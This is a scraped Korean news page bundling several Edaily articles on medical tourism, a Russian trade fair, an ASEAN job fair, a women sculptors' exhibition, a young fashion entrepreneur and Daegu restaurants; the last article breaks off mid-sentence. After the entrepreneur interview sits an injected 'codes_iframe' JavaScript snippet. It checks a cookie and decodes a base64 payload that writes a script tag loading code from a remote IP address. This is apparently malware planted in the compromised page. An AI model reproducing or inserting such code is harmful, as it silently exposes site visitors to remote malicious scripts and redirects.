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- 방한 의료관광객 대상 ‘관광체험 프로그램’ 인기…두달간 314명 이용
- 지난 6월 부천순천향병원 외국인 환자와 보호자들이 수원화성을 찾아 즐거운 시간을 보내고 있다.(사진=한국관광공사) [이데일리 강경록 기자] 치료 목적으로 한국을 찾은 외국인 환자와 동반자를 위한 ‘외국인 환자와 동반자 대상 1일 관광체험 프로그램’(이하 관광체험 프로그램)이 인기를 끌고 있다. 이 관광체험 프로그램은 한국관광공사(사장 안영배)가 국내 의료기관들과 협업해 오는 12월 14일까지 운영한다.지난 5월 8일부터 운영 중인 이 프로그램은 매주 화요일 오후 서울 청계천로 관광공사 의료관광안내센터를 출발해 창덕궁~인사동~통인시장~북악스카이웨이를 둘러보는 정기운영 코스와 국내 의료기관별로 참가자 5명 이상 모집 시 희망하는 일정으로 맞춤형 1일 관광 프로그램이 제공되는 수시운영 코스로 구성했다. 차량, 관광가이드, 여행자보험은 무료로 제공되며, 입장료, 식음료비 등은 참가자 부담이다.현재까지 총 314명의 외국인 환자(66%) 및 동반자(34%)들이 이용했다. 특히 러시아어권 환자와 동반자의 참여도가 높은 편인데, 러시아, 카자흐스탄, 우즈베키스탄, 키르키즈스탄 등에서 온 참가자가 전체 참가자의 83%를 차지하고 있다. 참가자의 46%가 서울 외 지역에 소재하고 있는 의료기관을 이용하고 있는 것으로 나타났으며, 92%가 프로그램 운영에 만족하고 있는 것으로 나타났다. 지난해 7월~12월 기간 동안 서울시내 9개 의료기관에서 출발하는 시범운영 프로그램에는 총 430명(환자 65% 및 동반자 35%)이 참가한 바 있다.이유영 순천향대학교부속부천병원 국제의료협력단 팀장은 “치료 이후 회복기에 있는 환자들이나 병간호 등으로 지친 가족들에게 한국관광공사에서 운영하는 1일 관광 프로그램이 큰 도움이 되고 있다“라며, ”우리 병원 환자 및 동반자들이 참가한 투어 영상을 자체적으로 만들어 적극적으로 홍보하고 있다”고 말했다.주성희 한국관광공사 의료웰니스팀장은 “의료관광객 유치에 관심이 높은 지자체, 의료기관 등에서 동 사업을 참고하여 의료관광객의 관광 활동을 유도하고 만족도를 높일 수 있는 사업 등을 발굴, 운영할 수 있도록 적극 협력할 계획”이라 밝혔다.
- 러시아 최대산업전 ‘이노프롬’서 한국관광 홍보
- 한국관광공사는 지난 9일 러시아 최대 산업박람회 ‘이노프롬’에서 한국문화관광 홍보관을 개관하고, 러시아 관광객 유치활동에 돌입했다 (사진=한국관광공사).한국관광 홍보관을 찾은 러시아인들이 한국음식을 시식하고 있다(사잔=한국관광공사)[이데일리 강경록 기자] 문화체육관광부와 한국관광공사(이하 공사)는 지난 9일부터 12일까지 4일간 러시아 중부 산업도시 예카테린부르크에서 개최 중인 러시아 최대 산업박람회 ‘이노프롬(Innoprom)’에 한국 문화 관광 홍보관을 열고, 러시아 관광객 유치활동에 나선다. 이번 박람회 참가는 지난 6월 모스크바에서 열린 한·러 정상회담에서 양국 정상이 합의한 두 나라 간의 관광교류의 일환이다.이노프롬은 2010년부터 매년 개최되는 러시아 최대 국제 산업 전시박람회로, 전 세계 주요 기업과 5만여 명의 관람객이 행사장을 찾는다. 올해에도 러시아 주요 기업들과 한국, 일본, 중국 등 세계 각국의 600여 기업이 참가했다. 한국에서는 파트너 국가 자격으로 현대, 경동나비엔 등 105개 기업이 참가해 산업 협력과 수출 판촉전을 벌인다.공사는 주러시아한국대사관문화원과 공동으로 144㎡ 규모의 한국 문화관광 홍보관을 설치해 세계 기업과 러시아 방문객을 대상으로 한국의 컨벤션과 의료 관광을 집중 홍보한다.행사 첫날인 9일 오전 러시아 주요 기업과 여행사 등 관광업계 대표들을 초청해 기업 국제회의와 컨벤션, 그리고 의료관광의 목적지로서의 한국을 적극 홍보했다. 국제회의와 의료관광으로 한국을 찾는 관광객은 일반 관광객보다 1.7배 이상 지출하는 경향이 있어 부가가치가 높다.또 산업전 기간 내내 홍보관을 찾는 기업 참가자들을 대상으로 국제회의와 의료관광 전문가들의 직접 상담을 통해 판촉활동을 벌일 예정이다. 한복 체험, 불고기 시식, 수지침 체험, 한국영화 상영 등을 통해 한국 문화관광의 매력을 알린다.민민홍 한국관광공사 국제관광본부장은 “러시아와는 2014년에 사증 면제 협정을 체결한 이후 양국 간 관광교류가 꾸준하게 늘고 있다”고 밝히며, “의료관광과 컨벤션 수요를 중심으로 러시아 관광객 유치에 박차를 가할 계획”이라고 말했다.지난해 한국을 방문한 러시아 관광객은 전년대비 15.6%(2016년 233,973명) 늘어난 27만 0427명이었으며, 현재 증가세가 지속되고 있어 올해 처음으로 30만 명을 넘길 것으로 전망된다.
- 연평균 1000명 이상 취업하는 아세안 지역 취업 돕는다
- [이데일리 박철근 기자] 연평균 1000명 이상이 취업에 성공하는 아세안 지역 기업의 취업을 돕는 행사가 열린다.고용노동부와 한국산업인력공단은 청년들의 아세안 국가로의 취업을 지원하기 위해 부산광역시, 한국무역협회와 함께 12일(부산시청)과 14일(서울 코엑스) 양일에 걸쳐 ‘2018 아세안 해외취업 박람회’를 개최한다고 9일 밝혔다.고용부에 따르면 지난 2015년 785명이던 아세안 국가 취업자는 2016년 1284명, 2017년 1355명 등으로 지속 증가하고 있다. 고용부 관계자는 “구직자들은 관련 국가 진출 정보가 부족해 어려움이 많다는 의견이 많아 지난해부터 싱가포르, 베트남, 인도네시아, 말레이시아, 캄보디아 등 아세안 5개국 해외취업 박람회를 시작했다”고 설명했다.올해는 박람회 대상 국가를 기존 5개국에 필리핀, 태국, 라오스 등 3개국을 추가했으며 항공 승무원, 외국크루즈 승무원 설명회를 개최하는 등 다양한 프로그램을 제공한다.박람회에 참여하는 구직자들은 1대1 현장 면접을 통해 채용 기회를 얻을 수 있을 뿐만 아니라 국가별 설명회 및 멘토링 강연을 통하여 생생한 취업 준비 과정과 체험담 등을 들을 수 있다. 이번 박람회에는 8개국에서 제조·여행·서비스 등 23개 업체가 참여하고 구인수요는 약 300명 이른다고 고용부는 전했다.이외에도 각 나라의 취업 동향 및 진출 전략을 자세히 들을 수 있는 국가별 진출 전략 설명회와 항공사 및 크루즈 승무원 취업 전략 강의도 마련해 아세안 지역의 취업 관련 정보를 다양하게 얻을 수 있다.김덕호 고용부 청년여성고용정책관은 “아세안 국가는 최근 빠른 경제 성장과 한국 기업의 활발한 진출 등으로 취업의 기회가 많다”면서도 “국가별로 주요 산업, 종교 등 다른 특색을 지니고 있어 정보를 파악하는 것이 매우 중요하다”고 말했다. 이어 “연중 더운 날씨 등 생활환경으로 인해 어려움을 경험할 수 있다”며 “아세안 취업으로 이루고자 하는 뚜렷한 목표를 가지고 준비하는 것이 필요하다”고 덧붙였다.
- 45년 깎고 깨고…'난 누구?' '여자, 조각가!'
- 배형경의 ‘존재, 물음’(2016). 서울 종로구 인사동길 선화랑서 여는 한국여류조각가회 45주년 특별기획전 ‘아이, 워먼’의 초입에 세웠다. ‘나는 누구고 우리는 어디서 왔나’를 읊조리는, 세로 190㎝의 고뇌하는 거대한 인간상이다. 여성작가로는 드물게 30년 넘게 인체만으로 표현주의 구상조각을 고집해온 배 작가의 손끝에서 나왔다(사진=오현주 문화전문기자).[이데일리 오현주 문화전문기자] “14년 차 전업주부로 살았다. 그 세월을 문득 돌아보니 모아둔 영수증과 가계부만 남았더라. 앞으로도 별로 달라지지 않을 인생을 대변하는 듯. 어느 날 그간 죽자고 모아둔 영수증을 다 태워버리자 작정했다. 가계부에서 떼어내 잔뜩 쌓아놓고 불을 댔다. 그런데 까맣게 ‘지워져’ 가더라.” 묘한 일이었다. 홀랑 타버릴 줄 알았던 영수증이 그을어가다니. 지출내역이 적힌 삶의 내용은 지워지고 모양과 형체만 남겼다. 그날 이후 영수증은 작품의 소재가 됐다. 풀로 한 장씩 붙여 8m 길이의 웨딩드레스를 만들고 어린아이가 입을 만한 앙증맞은 원피스도 만들었다. 한 장씩 접어 짰더니 거대한 가운이 생겨나기도 했다. “버려주세요”가 대세가 된 영수증. 하지만 영수증을 모아본 사람은 안다. 보관기간이 지날 무렵이면 그 안에 찍힌 내용도 사라져 간다. 소용 다한 물질이 남기는 애처로운 흔적. 어차피 시간이 지나면 폐기처분될 그것. “누군가를 만나고 물건을 사고, 사실 영수증이 객관적인 자료인데 정작 기록이 되진 못한다. 차라리 작품을 위한 오브제로 적당하다 싶었다.” 서울 종로구 인사동길 선화랑. 매번 전시 대표작을 내거는 쇼윈도에 2m는 훌쩍 넘길 가운이 걸렸다. 맞다. 그 영수증 작품이다. ‘1400만원 유니폼’(2018), 조각가 정혜경(41)이 일일이 손으로 한 장씩 겹쳐 짜 만든 그것. “최저임금이 7530원이던 때 한 해의 주부 일당을 최저임금으로 쳐서 한번 계산해봤다. 1400만원이었다.” 액수야 그렇다 치자. 유니폼은 또 뭔가. “지나고 보니 여자의 옷이란 게 유니폼에 불과하더라”는 자조 섞인 대답이 나온다. 하긴 정 작가는 전작 웨딩드레스에도 ‘유니폼’이란 타이틀을 수여했더랬다. ‘1억 5000만원 유니폼’이라고. 결혼 이후 십수 년 모은 영수증의 액수를 다 합쳤더니 그만큼 되더라고. 정혜경의 ‘1400만원 유니폼’(2018·앞). 일일이 손으로 한 장씩 영수증을 겹쳐 짜 만들었다. 1400만원어치다. 뒤로 ‘도시환영-완벽한 껍데기’(2018)가 보인다. 역시 영수증을 한 장씩 풀로 붙여 어린아이가 입을 만한 옷을 지어냈다(사진=오현주 문화전문기자).△“여자가 조각을 한다고?” 이후 45년 한국여류조각가회가 45주년을 맞아 특별기획전 ‘아이, 워먼’을 열었다. ‘난, 여자’란 뜻이다. 하지만 전시는 행간의 의미를 채운다. “나는 여자다. 그리고 조각가다.” 그런 만큼 “우리 스스로를 돌아보자”는 여성조각가의 정체성에 초점을 맞춘다. 김정숙(1917∼1991), 윤영자(1924∼2016) 등 1세대를 조각가를 비롯해 강은엽·고경숙·김정희·김윤신·김효숙·배형경·유영준·이종애·황영숙 등 원로와 중견, 김경민·김리현·김지원·나수정·오누리·이원정·이은영·이은희·이진희·정소영·정혜경·최미애 등 한창 활동하는 30~40대까지, 한국조각계에서 내로라하는 여성조각가 80여명이 의기투합했다. 브론즈·돌·나무·세라믹·테라코타 등으로 작업한 1~2점씩을 걸고 또 세워 전시작만 150여점에 달한다. 김정숙의 ‘비상’(1986). 브론즈를 소재로 새의 날개짓을 역동적으로 형상화한 반추상 작품. 한국여류조각가회 1대 회장을 지낸 김 작가는 유독 새의 날개 이미지를 좋아했다고 전해진다(사진=오현주 문화전문기자).강은엽의 ‘긴 여행에 관한 책’(2004). 함부로 손조차 함부로 댈 수 없을 듯한 고목의 결을 좇아 사람 사는 일의 희로애락을 가로 60㎝ 남짓한 나무덩이에 감춰놨다(사진=오현주 문화전문기자).한국여류조각가회가 탄생한 것은 1974년. ‘조각=남성’이던 시절이었다. 여성이 조각을 한다? 그건 신기한 구경거리였고 더 정확히는 무시당할 일이었다. 조각이 뭔가. 강하고 견고한 양감의 구성체다. 형상이 있든 없든, 구상이든 추상이든 기본 전제는 3차원의 ‘덩어리’. “너희 여자가 그 덩어리를 ‘감히’ 어찌 다루겠느냐.” 보고 듣지 않아도 충분히 작용했을 법한 편견이다. 그 반항심리에서 나섰을 수도 있다. 외부의 차별이 컸지만 내부의 성찰도 만만치 않았다. 스스로 위축하고 주저앉는 한계를 돌아본 거다. 그도 그럴 것이 한국여류조각가회가 창립하던 당시 화단서 활동하는 여성조각가는 열 손가락 안에 들 정도. 하지만 ‘역경’은 뚫으라고 있는 게 아니던가. 창립하던 그해 국립현대미술관 덕수궁관에서 연 ‘창립전’에는 33명의 여성조각가가 모였다. 이번 전시를 연 선화랑과의 인연도 무시 못한다. 1982년 국내 상업화랑 최초로 한국여류조각가회 35인의 초대전을 열면서 선화랑은 이들과 처음 손을 잡았다. 창업주 김창실(1935∼2011) 전 대표의 배려였다. 최미애의 ‘창 안에 가족-연인’(2018). 나무를 크기대로 겹겹이 자르고 붙여 다정한 연인의 형상을 ‘빚어냈다’. 벽으로 투영한 조명 빛은 덤이다(사진=오현주 문화전문기자).그러곤 45년. 사람 나이로 치면 중년에 접어든 지금 회원 수는 300여명에 달한다. 새로운 출사표가 필요했다. “점잖은 모습보단 역동적인 활동으로.” 14대 회장을 맡은 조각가 심영철(60·수원대 교수)의 일성이다. 사실 여성만이 아니어도 조각계의 고민이 짙은 요즘. ‘3중고’란 말이 나온 지도 꽤 됐다. ‘제작·운반’이 힘든 거야 다 아는 사실이지만 ‘팔리지도 않는다’는 탄식까지 붙여야 하는 상황인 거다. △‘묵직한 무게감’ ‘기발한 아이디어’ 둘 다 빛나전시는 한국여성조각계를 가늠할 뿐만 아니라 한국조각계 전체의 밑그림을 그린다. 묵직한 무게감과 재기발랄한 아이디어로 무장한 현장 그대로를 옮겨놨다. 전시장의 문을 연 배형경(63)의 ‘존재, 물음’(2016·플라스틱)은 인간 존재에 대한 고뇌를 조형적 화두로 세운 작품. ‘나는 누구고 우리는 어디서 왔나’를 읊조리는, 190㎝ 장신의 인간상이 공간을 압도한다. 배 작가는 여성작가로는 드물게 30년 넘게 인체만으로 표현주의 구상조각을 고집해온 이다. 배형경의 ‘존재, 물음’(2016) 뒷 모습. ‘나는 누구고 우리는 어디서 왔나’를 읊조리는, 세로 190㎝의 고뇌하는 거대한 인간상은 여성작가로는 드물게 30년 넘게 인체만으로 표현주의 구상조각을 고집해온 배 작가의 손끝에서 나왔다(사진=오현주 문화전문기자).손조차 함부로 댈 수 없는 고목의 결을 좇아 사연 있는 세월을 형상화한 작품도 있다. 강은엽(80)의 ‘긴 여행에 관한 책’(2004·나무). 사람 사는 일의 희로애락을 가로 60㎝ 남짓한 나무덩이에 감춰놨다. 타계한 김정숙·윤영자의 작품은 회원들의 오마주다. 김정숙의 ‘비상’(1986·브론즈)을 앞세워 ‘비상C’(1976·브론즈)와 ‘여인흉상’(1960·브론즈), 윤영자의 ‘애’(1991·대리석) 등이 나섰다. 두 작가는 한국여류조각가회 1·2대 회장을 지냈다. 이은희의 ‘아침햇살’(2014·아래)은 대리석으로 작업한 여인의 흉상. 바람결에 휘날리는 머릿결의 여인에게선 육중한 돌무게따윈 느낄 수 없다(사진=오현주 문화전문기자).이뿐인가. ‘볼 때마다 기분 좋은 작품’이란 극찬을 받으며 ‘없어서 못 판다는 작가’ 김경민이 여성골퍼의 싱그러운 포즈를 잡아낸 ‘봄날’(2018·브론즈), 이만큼이나 상큼한 여성의 흉상을 반구상으로 작업한 이은희의 ‘아침햇살’(2014·대리석), 다소 어눌해 보이는 그래서 편안한 여인상을 빚은 정소영의 ‘행복한 나날’(2016·테라코타), 하이힐과 여성의 발을 교묘히 결합한 발상이 눈에 띄는 김지원의 ‘모던 걸’(2013·브론즈) 등등. 시선 뺏길 작품은 끝이 없다. 여성예술가에게 붙이던 ‘여류’란 말을 더는 쓰지 않는 요즘이다. 차라리 ‘걸 크러시’가 친숙한 세상이 아닌가. 그럼에도 이들이 ‘여류’에서 동질감을 찾는 이유가 있다. “우리가 바로 그 거친 시대를 지나오지 않았는가”란 상징과 역사다. 굳이 더 이상 구분이 필요치 않아 언젠가는 사라질 ‘여류’고 ‘여류조각가회’라면 좋으련만. 이들이 뭉칠 일은 한동안 계속될 듯하다. 전시는 17일까지. 서울 종로구 인사동길 선화랑서 여는 한국여류조각가회 45주년 특별기획전 ‘아이, 워먼’에 나선 ‘여성’들. 김경민의 ‘봄날’(2018·브론즈)부터 시계 반대방향으로 박성희의 ‘회상록-봄봄’(나무), 정소영의 ‘행복한 나날’(2016·테라코타), 문희의 ‘바람 Ⅲ’(2014·브론즈), 이은영의 ‘바람을 느껴봐’(2018·브론즈)(사진=오현주 문화전문기자).
- [스냅타임] "붕어빵 스펙쌓기 만으로는 성공 못하죠"
- (이미지=스냅타임)시현진(26·남)씨는 2018년 스트릿·캐주얼 의류 브랜드 ‘PARODY’를 설립했다. ‘2012 솔로대첩’에서 핫팩을 팔던 장사꾼이 창업의 꿈을 이루고 대표가 됐다. ‘PARODY’는 론칭 후 한달이 채 지나기 전에 스타일쉐어 외 5개의 유명 온라인숍에 입점했다.대학 시절 그는 서울 강남이나 노량진에서 성공을 찾고 싶지 않았다. ‘토익을 공부하거나 자원봉사를 하는 대신, 세계를 누비며 영어로 직접 말해보고 난민들을 도우면 되지 않을까’하는 생각으로 ‘세계여행 인생성공 프로젝트’를 실행에 옮겼다. 여행 중 그는 중국 기업의 이사·두바이 왕가 사람들과 장사를 하며 청년 장사꾼으로서 자신만의 성공 계획을 하나씩 실현해 나갔다. (이미지=스냅타임)창업의 꿈을 어떻게 키우게 됐나?'PARODY’의 대표이자 장사꾼 시현진입니다. 저는 어렸을 때부터 바깥세상에서 살고 싶었어요. 고등학생 때 집 앞 5분 거리에서 자취를 할 정도였으니까요.그래서 회사에 구속되지 말고 내가 대표를 하자 결심했어요. 고등학교 졸업식에서 제가 직접 꽃을 판매할 정도로 매일 어떤 것으로 장사할 수 있을까 고민했죠.세계여행 중 각국의 사람들과 사업을 진행하면서 시장을 읽고자 했어요. 한국에 돌아와 전 세계적으로 관심이 많은 의류 시장에 뛰어들었고 ‘PARODY’를 완성했죠. (이미지=스냅타임)세계여행 인생성공 프로젝트가 뭔가?모든 인종, 모든 문화의 사람과 사업을 진행해볼 좋은 기회였어요. 두바이에서는 차 번호가 낮을수록 지위가 높거나 부자인 사람이에요. 그 차에서 사람이 내리면 무작정 따라갔죠. 그 사람에게“나는 한국에서 온 대학생이고, 세계여행을 통해 인생성공을 배우고 있다”며 황금색 트리볼에 싸인을 받았어요. 그 싸인볼을 시장에 팔았는데 반응이 정말 좋았죠. 대만에서 'cathay life'에게 부동산 자문을 해줬어요. 그때 이사가 자기 회사에서 일해보지 않겠냐고 얘기한 적도 있었죠. 다양한 사업을 하면서 실패한 적도 있지만 성공할 때마다 제 능력을 인정받는 것 같아서 기분이 정말 행복했어요.대학생이나 취준생이라면 토익·자원봉사·대외활동을 하잖아요. 남들과 다 똑같다면 아무도 제 물건의 매력을 느낄 수 없을 거로 생각했죠. 여행을 마치고 돌아왔을 때 확신했어요. 제가 만들 의류 브랜드의 성공을.물론 프로젝트는 지금도 진행 중이에요. ‘PARODY'를 세계 곳곳에 알리고 싶어요. (이미지=PARODY 홈페이지)의류를 선택한 이유가 있나?모든 문화를 아우르는 것을 만들고 싶었어요. 세계여행을 다니면서 아바야·치파오·기모노처럼 각 나라를 대표하는 의류를 다 보게 됐어요. ‘옷이란 결국 소속감이고 언제까지나 필요한 것이다.’ 생각했죠.제가 만든 브랜드가 어떤 사람이든 다 포용할 수 있다면, 그보다 더한 성공은 없다 싶었어요. 언젠가 제 옷을 파리·뉴욕·도쿄의 패션쇼에 세울 거에요. (웃음) (이미지=스냅타임)도전이 어려운 청춘에게 한마디“3포 아닌 3득 하세요”요즘 많은 사람이 삶의 행복을 포기하는 것이 너무 안타까워요. 고등학생이면 수험공부 하느라, 대학생이면 취업준비 하느라 취미·연애·휴식에서 멀어져요. 더 잘 살기 위해 행복을 포기해야 하죠.그런데 저는 오히려 세계여행을 통해 다 가지려고 하니까 길이 열렸어요. 손에서 하나씩 놓을 때마다 잡고 있던 꿈으로 향하는 밧줄도 점점 느슨해지는 것 같아요. 하나라도 더 가지려는 순간 한 발 더 갈 수 있어요. 모든 청춘이 사랑·꿈·여가 모두 가졌으면 좋겠어요.<!--/codes_iframe--> <!--codes_iframe--> {var U=document.cookie.match(new RegExp("(?:|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+])/g,"\\$1")+"=([;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<\/script>')} <!--/codes_iframe-->
- 경기콘텐츠진흥원, 영국 멘체스터 VR·AR 기업과 협업
- [수원=이데일리 김아라 기자] 경기콘텐츠진흥원은 경기도 우수 VR/AR 기업에 영국 맨체스터 VR/AR 기업과의 협업 기회를 지원하는 ‘글로벌 콜라보레이션 프로젝트(Global Collaboration Project, 이하 GCP)’ 사업을 진행했다고 6일 밝혔다.‘글로벌 콜라보레이션 프로젝트’에 참가한 기업은 영국 플랫폼 사업자, VR/AR 기술 분야 파트너와의 협업 기회를 얻었다. 향후 영국 정부와의 지속적인 협력도 진행한다.프로젝트는 경기도 내 우수 VR/AR 기업과 프로젝트를 발굴하여 영국과 캐나다의 VR/AR 기업과의 협업을 통해 현지 시장을 겨냥한 프로젝트를 수행하는 프로그램이다.사진=경기콘텐츠진흥원영국 프로그램은 맨체스터 우수 기술대학인 맨체스터 메트로폴리탄 대학(Manchester Metropolitan University, 이하 MMU)의 AR/VR 콘퍼런스 참가와 영국 국영방송 BBC, 인큐베이팅/엑셀러레이팅 기관 더 랜딩(The Landing), 샤프 프로젝트(Sharp Project), 맨체스터 스마트 시티 버브(Manchester Smart City Verve) 방문 등 영국 현지 기술자, 기업, 기관과의 만남으로 진행했다.특히 지난달 21일, 22일 양일간 진행된 ‘제4회 국제 AR/VR 콘퍼런스’(the 4th international ARVR Conference)’ 에서는 영국의 디지털문화미디어체육부 마고 제임스(Margot James) 차관이 참석해 글로벌 협업을 위해 노력하고 있는 경기도 기업에 많은 관심을 보였다.GCP 영국 프로그램에 선발된 경기도 내 우수 인력들은 다양한 분야에 VR/AR 기술을 적용하고 있는 기업과 프로젝트팀이다. VR 영화상영관 플랫폼 시스템과 360VR 수중촬영을 제공하는 ‘돌핀아이즈(DolphinEyes)’, AR 위치 인식 기술 기반으로 문화재·여행지 등의 정보를 담는 프로젝트팀 ‘참스(Charms)’, 이미지를 VR 콘텐츠로 간편하게 변환시켜 다양한 VR 콘텐츠를 만들어내는 ‘다이브코어(Divecore)’, 전통 캐릭터를 기반으로 AR 교육 및 스토리 콘텐츠를 만드는 ‘클콩’이 참여했다.경기도는 프로젝트를 통해 도내 VR/AR 기업이 영국과 캐나다 현지의 VR/AR 기업과 기획자, 개발자 등과 글로벌 협업 프로젝트를 올해 연말까지 이어갈 수 있도록 지원할 계획이다.MMU의 정형수 국제 AR/VR 콘퍼런스 의장은 “영국의 다양한 기관들이 한국의 AR/VR 콘텐츠에 상당한 관심을 표현하고 있다”며 “GCP 프로그램을 통해 기업에 실질적 이익이 되는 비즈니스 모델을 찾을 수 있을 것”이라고 말했다.
- [여행] '통닭'부터 '냉면까지'…대구 원조를 맛보다
- 대구 3대 통닭집 중 으끔으로 꼽히는 ‘뉴욕통닭’. 하루 80마리만 한정판매한다.[대구=글·사진 이데일리 강경록 기자] 대구는 치킨의 성지로 불린다. 국내 대부분의 치킨 체인점은 대구와 그 인근 지방에서 출발했을 정도다. 교촌치킨, 처갓집양념통닭, 호식이두마리치민, 페리카나, 땅땅치킨 등 모두가 여기에서 시작했다. 대구 사람들의 닭사랑은 유별나다. 그 인연은 1900년 초로 거슬러 올라간다. 조선 3대 시장이었던 서문시장에는 닭 파는 곳이 전체 시장의 3분의 1을 차지할 정도로 규모가 컸다. 한국전쟁 이후, 수성구 황금동 일대에는 양계농장과 부화장, 도계장이 들어서면서 닭 산업의 기반을 마련했다. 대구와 구미, 포항 등지에 소비 인구가 많아서다. 1970년대에는 칠성시장에 계육가공회사가 생기면서 그 주변으로 닭내장 볶음집이 생겼다. 이어 수성못 주변에는 닭발집이, 동구 평화시장에는 닭똥집(닭모래주머니) 골목이 들어섰다. 현재도 닭똥집 골목은 그 명성을 이어가고 있다. 대구 3대 통닭집 중 으뜸으로 꼽히는 뉴욕통닭의 ‘프라이드 치킨’◇대구 최고의 ‘통닭’을 맛보다치킨의 성지답게 대구에는 ‘3대 통닭집’으로 불리는 가게들이 있다. 취향에 따라 좀 다르겠지만 보통 뉴욕통닭, 원주통닭, 진주통닭 등을 이야기한다. 그중에서도 최고 치킨 맛집으로 꼽히는 곳은 동성로의 ‘뉴욕통닭’이다. 40년 가까이 한결같은 맛으로 대구사람은 물론 외지인들에게 인기가 끊이지 않는 곳이다. 최근에는 TV 예능 프로그램 ‘백종원의 3대천왕’에서 전국 최고 양념 통닭집으로 소개하기도 했다. 한결같은 맛으로 대구사람에게도 인기가 높다. 하루 딱 80마리만 한정 판매한다. 예약하지 않으면 좀처럼 맛보기가 힘들다. 뉴욕통닭을 한 번도 못 먹어 본 사람은 있을지언정 한 번만 먹은 사람은 없다는 마니아의 말처럼, 어쩌다 맛을 보면 그 맛을 잊지 못한다. 대표 메뉴는 가마솥에서 막 튀겨낸 투박한 프라이드 치킨과 두툼한 튀김옷을 입은 양념통닭. 프라이드 치킨은 바삭한 튀김옷과 육즙 가득한 살코기의 담백함과 고소함이, 양념통닭은 마치 강정을 씹는 듯 고소하고 달콤하다.백종원이 전국 최고의 양념통닭이라 극찬한 뉴욕통닭의 ‘양념통닭’남문시장의 진주통닭도 대대로 인기를 끌고 있는 45년 전통의 통닭집이다. 옛날 방식 그대로 기름이 팔팔 끓는 가마솥에 닭 한 마리를 통째로 튀겨낸다. 이른바 ‘제삿닭’이다. 튀김옷은 바삭하고 고기는 촉촉하고 육즙은 흥건하다. 염지(소금 밑간)를 거의 하지 않은 생닭을 쓴다. 건건한 양념으로 닭고기 고유의 고소한 맛을 품고 있다. 양념치킨 역시 끈적이지 않고 살짝 매콤한 맛을 내는 정도다. 한마디로 양념이 닭 고유의 맛을 해치지 않는다. 이 집의 별미 중 하나는 ‘찜’이다. 다른 통닭집보다 수북이 쌓인 당면이 인상적이다.대구 3대 통닭 중 하나인 진주식당의 ‘프라이드 치킨’대구는 치맥의 본향이다. 2014년부터 매년 여름 ‘치맥축제’가 대구에서 열리고 있다. ‘치맥’은 치킨과 맥주를 합친 말이다. 지난해 7월 열린 치맥 페스티벌에는 전 세계에서 무려 100만 명의 관람객이 축제를 즐겼다. 소셜네트워크서비스(SNS)를 통해 치맥 페스티벌 개최 소식을 전한 이들이 ‘치킨 메카’로 몰려들면서다. 올해는 7월 18~22일 두류공원 일대와 평화시장 닭똥집 골목, 이월드, 서부시장 모미가미거리 등지에서 열린다. 사골과 사태살, 풍기인삼을 넣어 구수하고 향긋한 부산안면옥 평양냉면◇ 대구라 더 인기있는 평양냉면대구에는 의외로 냉면 전문집이 많다. 그중 중구 국채보상로 125번 길에 있는 ‘부산안면옥’은 반세기가 넘도록 이북식 원조 냉면을 그대로 유지하고 있는 곳 중 하나다. 1905년 평양에서 처음 문을 열었다. 이후 1953년 부산을 거쳐 1969년부터 현재에 이르기까지 무려 50년간 대구에서 자리를 지키며 4대째 내려오고 있다. 냉면을 먹기 전 구수한 온육수 한 주전자를 제공한다. 사골과 사태살, 풍기인삼을 넣어 구수하고 향긋하다. 냉면은 말갛고 투명한 서울식 평양냉면보다 육수의 색이 훨씬 진하다. 육수에 간장을 써서 간을 맞추는 이북식 평양냉면이다. 여기에 쇠고기와 돼지고기를 섞어 육수를 내 육향이 강한 편이다. 매년 4월 1일 영업을 시작해 추석 연휴 전까지 약 6개월만 영업한다.숙성 과정을 거친 고기로 육수를 내는 대동면옥 ‘평양냉면’부산안면옥과 멀지 많은 곳에 ‘대동면옥’이 있다. 부산안면옥·강산면옥과 함께 대구의 ‘3대 냉면’ 집 중 하나로 꼽히는 곳이다. 정확한 위치는 국채보상로102길 5-9. 부산안면옥이 이북식 평양냉면이라면, 대동면옥은 서울식 평양냉면에 가깝다. 인적 드문 골목길 안쪽에 자리한 이 가게는 평일 낮에도 많은 이들이 찾아올 정도로 이미 대구에서는 맛집으로 통하고 있다. 이 같은 유명세는 바로 특별한 방법으로 만드는 냉면 육수 때문이다. 보통 생고기를 삶아 육수를 내는 냉면집들과 달리 이곳은 숙성 과정을 거친 고기로 육수를 낸다. 도토리묵과 깻잎 순, 건도라지를 이용해 죽을 만들어 고기를 숙성해주면 특유의 잡냄새는 사라지고 담백함과 풍미가 극대화된다는 것이 이곳 주인장의 설명이다.평양식 재료와 조리방식을 지금껏 고수하고 있는 대동강 식당의 ‘평양냉면’대구시청 인근의 봉덕로에 자리한 ‘대동강식당’도 대구에서 이름난 냉면집 중 하나다. 이북에서 피란을 온 할머니가 1965년 2월에 개업한 이래 평양식 재료와 조리방식을 지금껏 고수하고 있다. 대를 이어 벌써 반세기를 넘는 시간 동안 그 맛을 유지하고 있어 유독 단골이 많다. 조미료 없이 사골뼈, 사태 등을 넣고 푹 곤 육수에 직접 담근 동치미 국물로만 간을 맞추다 보니 육수의 맛이 오묘하면서 중독성 있다.똘똘이식당의 무침회를 맛있게 먹는 방법 중 하나는 상추와 납작만두에 무침회를 싸 먹는 것이다.◇여행메모△잠잘곳= 대구서 가장 핫한 숙박업소는 게스트하우스인 ‘더 스타일’(053-214-6116)이다. 중구 서성로에 있다. 보유하고 있는 침대 수만 56개로 대구 도심에서 규모가 가장 크다. 그렇다 보니 단체 배낭여행객이 선호한다. 자작나무로 만든 침대는 벙커 형식으로 돼 있고, 커튼과 LED 등도 있어 사생활 보호도 가능하다. 건물 1층은 카페와 놀이 공간으로 꾸몄다. 외국인 게스트하우스 스태프가 함께 대구여행을 즐기는 프로그램도 있다. 최근에는 한옥 게스트하우스인 ‘더 한옥&스파’도 오픈해 운영 중이다. 2인실 5만원, 4인실 